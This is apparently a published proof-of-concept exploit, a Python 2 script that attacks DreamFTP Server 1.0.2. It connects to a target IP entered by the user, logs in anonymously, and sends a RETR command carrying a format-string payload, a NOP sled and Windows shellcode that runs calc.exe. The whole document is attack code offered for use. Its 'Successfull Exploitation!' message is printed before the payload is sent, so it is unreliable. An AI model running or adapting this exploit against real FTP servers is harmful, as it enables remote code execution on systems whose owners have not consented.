BolinTech DreamFTP Server 1.02 – ‘RETR’ Remote Buffer Overflow
import socket import os import sys print ''' ############################################## # Created: ScrR1pTK1dd13 # # Name: Greg Priest # # Mail: ScrR1pTK1dd13.slammer@gmail.com # ############################################## # Exploit Title: DreamFTPServer1.0.2_RETR_command_format_string_remotecodevuln # Date: 2016.11.04 # Exploit Author: Greg Priest # Version: DreamFTPServer1.0.2 # Tested on: Windows7 x64 HUN/ENG Professional ''' ip = raw_input("Target ip: ") port = 21 overflow = '%8x%8x%8x%8x%8x%8x%8x%8x%341901071x%n%8x%8x%24954x%n%x%x%x%n' nop = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' #overflow = '%8x%8x%8x%8x%8x%8x%8x%8x%341901090x%n%8x%8x%24954x%n%x%x%x%n\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' #shellcode calc.exe shellcode =( "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" + "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" + "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" + "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" + "\x57\x78\x01\xc2\x8b\x7a\x20\x01" + "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" + "\x45\x81\x3e\x43\x72\x65\x61\x75" + "\xf2\x81\x7e\x08\x6f\x63\x65\x73" + "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" + "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" + "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" + "\xb1\xff\x53\xe2\xfd\x68\x63\x61" + "\x6c\x63\x89\xe2\x52\x52\x53\x53" + "\x53\x53\x53\x53\x52\x53\xff\xd7") remotecode = overflow + nop + shellcode + '\r\n' s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect((ip ,port)) s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASSW hacker@hacker.net\r\n') s.recv(1024) print remotecode print ''' Successfull Exploitation! ''' message = 'RETR ' + remotecode s.send(message) s.recv(1024) s.close |